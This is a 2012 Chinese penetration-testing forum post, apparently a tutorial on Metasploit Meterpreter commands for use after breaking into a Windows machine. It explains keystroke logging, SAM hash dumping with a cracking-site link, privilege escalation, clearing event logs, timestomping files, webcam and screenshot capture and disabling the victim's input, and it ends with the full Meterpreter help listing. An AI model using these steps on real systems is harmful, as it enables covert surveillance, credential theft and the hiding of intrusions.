中国网络渗透测试联盟

标题: metasploit获取shell之后进一步利用 [打印本页]

作者: admin    时间: 2012-12-20 08:47
标题: metasploit获取shell之后进一步利用
当你用metasploit成功的入侵一台Windows主机后,你会获得一个Meterpreter 的Shell,今天我就会给大家讲一讲Meterpreter 获取shell以后的运用

当你看到了
  • Meterpreter session 1 opened (192.168.195.140:4444 -> 192.168.195.139:1051)

    这就代表这你在目标系统上成功的获得了Meterpreter的Shell

    sessions -l 用于查看你控制的电脑

    你会看到:

    Id Description Tunnel  4  meterpreter x86/win32  server-PC\Administrator @ SERVER-PC  192.168.195.140:4444 -> 192.168.195.1:52540 (192.168.195.1)  

    注意前面的ID号

    你要控制哪台就输入:

    meterpreter >sessions -i  4

    例如本次案例ID号为:4

    meterpreter >sysinfo

    显示目标系统信息

    meterpreter > backround

    退出目标系统,回到Metasploit主界面

    meterpreter > ps

    显示目标系统上的进程

    meterpreter > keyscan_start

    监控目标系统键盘输入,停止监控为keyscan_stop

    meterpreter > migrate

    将你的Meterpreter移到另一个进程

    先用PS命令查看进程后,得到进程ID,然后在执行Migrate (进程ID)

    meterpreter > ipconfig

    显示对方网络信息

    meterpreter > getuid

    获取用户的服务器运行

    meterpreter > shell

    进入目标电脑,命令提示符

    meterpreter > Idletime

    目标电脑闲置了多长时间

    meterpreter > Hashdump

    导出对方SAM数据库里的内容,推荐一个hash破解网站:

    http://www.objectif-securite.ch/products.php

    meterpreter > getsystem

    利用已自漏洞,自动提权为SYSTEM

    meterpreter > clearev

    清除事件日志

    meterpreter > execute (某Windows指令)

    在对方电脑上运行该指令

    meterpreter > execute Usage: execute -f file [options]  Executes a command on the remote machine.  OPTIONS:      -H        Create the process hidden from view.     -a <opt>  The arguments to pass to the command.     -c        Channelized I/O (required for interaction).     -d <opt>  The 'dummy' executable to launch when using -m.     -f <opt>  The executable command to run.     -h        Help menu.     -i        Interact with the process after creating it.     -k        Execute process on the meterpreters current desktop     -m        Execute from memory.     -s <opt>  Execute process in a given session as the session user     -t        Execute process with currently impersonated thread token meterpreter >timetomp

    修改文件时间属性

    meterpreter >timestomp c:\\jzking121.txt -c "09/09/1980 12:12:34"   修改文件创建时间

    meterpreter > timestomp c:\\jzking121.txt -m "01/01/1991 12:12:34"  修改文件修改时间

    meterpreter > timestomp c:\\jzking121.txt -f c:\\RHDSetup.log 讲文件RHDSetup.log属性复制到jzking121文件上面

    meterpreter > download (文件路径)

    下载文件命令

    例如下载C盘下面的jzking121.txt文件

    meterpreter > download c:\\jzking121.txt
  • downloading: c:\jzking121.txt -> jzking121.txt
  • downloaded : c:\jzking121.txt -> jzking121.txt

    注意,文件路径中要有两个\\
    Upload指令跟Download指令类似!
    meterpreter > shutdown

    关闭目标计算机,reboot为重启计算机

    meterpreter >screenshot

    获取目标电脑,屏幕截图

    meterpreter > uictl enable keyboard 启用目标使用键盘

    meterpreter > uictl disable mouse    禁止目标使用鼠标

    enable 为启用

    disable 禁用

    meterpreter > webcam_list

    目标系统的摄像头列表

    meterpreter > webcam_snap

    从指定的摄像头,拍摄照片

    meterpreter > search -d c:\\ -f 1.jpg

    搜索目标电脑,C盘1.jpg文件

    meterpreter > help  Core Commands =============      Command                   Description     -------                   -----------     ?                         Help menu     background                Backgrounds the current session     bgkill                    Kills a background meterpreter script     bglist                    Lists running background scripts     bgrun                     Executes a meterpreter script as a background thread     channel                   Displays information about active channels     close                     Closes a channel     disable_unicode_encoding  Disables encoding of unicode strings     enable_unicode_encoding   Enables encoding of unicode strings     exit                      Terminate the meterpreter session     help                      Help menu     info                      Displays information about a Post module     interact                  Interacts with a channel     irb                       Drop into irb scripting mode     load                      Load one or more meterpreter extensions     migrate                   Migrate the server to another process     quit                      Terminate the meterpreter session     read                      Reads data from a channel     resource                  Run the commands stored in a file     run                       Executes a meterpreter script or Post module     use                       Deprecated alias for 'load'     write                     Writes data to a channel   Stdapi: File system Commands ============================      Command       Description     -------       -----------     cat           Read the contents of a file to the screen     cd            Change directory     download      Download a file or directory     edit          Edit a file     getlwd        Print local working directory     getwd         Print working directory     lcd           Change local working directory     lpwd          Print local working directory     ls            List files     mkdir         Make directory     pwd           Print working directory     rm            Delete the specified file     rmdir         Remove directory     search        Search for files     upload        Upload a file or directory   Stdapi: Networking Commands ===========================      Command       Description     -------       -----------     ifconfig      Display interfaces     ipconfig      Display interfaces     portfwd       Forward a local port to a remote service     route         View and modify the routing table   Stdapi: System Commands =======================      Command       Description     -------       -----------     clearev       Clear the event log     drop_token    Relinquishes any active impersonation token.     execute       Execute a command     getpid        Get the current process identifier     getprivs      Attempt to enable all privileges available to the current process     getuid        Get the user that the server is running as     kill          Terminate a process     ps            List running processes     reboot        Reboots the remote computer     reg           Modify and interact with the remote registry     rev2self      Calls RevertToSelf() on the remote machine     shell         Drop into a system command shell     shutdown      Shuts down the remote computer     steal_token   Attempts to steal an impersonation token from the target process     sysinfo       Gets information about the remote system, such as OS   Stdapi: User interface Commands ===============================      Command        Description     -------        -----------     enumdesktops   List all accessible desktops and window stations     getdesktop     Get the current meterpreter desktop     idletime       Returns the number of seconds the remote user has been idle     keyscan_dump   Dump the keystroke buffer     keyscan_start  Start capturing keystrokes     keyscan_stop   Stop capturing keystrokes     screenshot     Grab a screenshot of the interactive desktop     setdesktop     Change the meterpreters current desktop     uictl          Control some of the user interface components   Stdapi: Webcam Commands =======================      Command       Description     -------       -----------     webcam_list   List webcams     webcam_snap   Take a snapshot from the specified webcam   Priv: Elevate Commands ======================      Command       Description     -------       -----------     getsystem     Attempt to elevate your privilege to that of local system.   Priv: Password database Commands ================================      Command       Description     -------       -----------     hashdump      Dumps the contents of the SAM database   Priv: Timestomp Commands ========================      Command       Description     -------       -----------     timestomp     Manipulate file MACE attributes




    欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2